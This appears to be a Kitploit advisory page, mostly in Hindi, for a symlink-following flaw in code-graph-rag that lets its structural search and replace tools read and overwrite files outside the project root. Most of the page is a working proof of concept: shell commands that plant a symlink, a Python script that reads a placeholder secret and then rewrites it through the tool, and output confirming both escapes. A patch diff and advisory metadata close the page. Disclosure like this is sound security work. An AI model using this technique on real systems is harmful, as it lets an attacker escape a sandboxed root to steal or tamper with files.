code-graph-rag-PoC — PoC — code-graph-rag में प्रोजेक्ट रूट के बाहर मनमानी फ़ाइल पढ़ने/लिखने के लिए symlink फ़ॉलो करना (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1)। | Kitploit

codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — os.walk() के साथ self.project_root को वॉक करता है; os.walk द्वारा लौटाया गया प्रत्येक गैर-डायरेक्टरी डायरेक्ट एंट्री (जिसमें डिस्क पर कहीं भी इंगित करने वाला सिम्बॉलिक लिंक भी शामिल है) को इन-स्कोप फ़ाइल माना जाता है।
codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — एकमात्र कंटेनमेंट चेक should_skip_path(...) है जिसके बाद abs_path.relative_to(self.project_root) (पंक्ति 82) है; abs_path कभी रिज़ॉल्व नहीं किया जाता, इसलिए यह चेक विशुद्ध रूप से लेक्सिकल/स्ट्रिंग-आधारित है।
codebase_rag/utils/path_utils.py:80-109 (should_skip_path) और codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — rel_path = file_path.relative_to(repo_path) की गणना करता है बिना कभी .resolve() या Path.is_symlink() को कॉल किए। इस फ़ंक्शन में कुछ भी सिम्बॉलिक लिंक को वास्तविक फ़ाइल से अलग नहीं मानता।
रीड सिंक: codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) path.read_text() को कॉल करता है, जिसे Python सिम्बॉलिक लिंक के माध्यम से उसके वास्तविक लक्ष्य तक फॉलो करता है, चाहे वह लक्ष्य कहीं भी हो।
राइट सिंक: codebase_rag/tools/ast_grep_service.py:187-208 (replace), विशेष रूप से पंक्ति 208 — dry_run=False होने पर abs_path.write_text(new_source, ...), फिर से सिम्बॉलिक लिंक का अनुसरण करते हुए वास्तविक लक्ष्य फ़ाइल की सामग्री को अधिलेखित करता है।

mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py

# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

शोधकर्ता	Dostxodjayev Abdullox (@squeeze440)
सलाह	GHSA-85gg-2gfq-q95m
CVSS 3.1	7.1 (उच्च)
कमज़ोरी	CWE-59, CWE-22

code-graph-rag-PoC

सबसे लोकप्रिय

code-graph-rag: सुरक्षा सलाह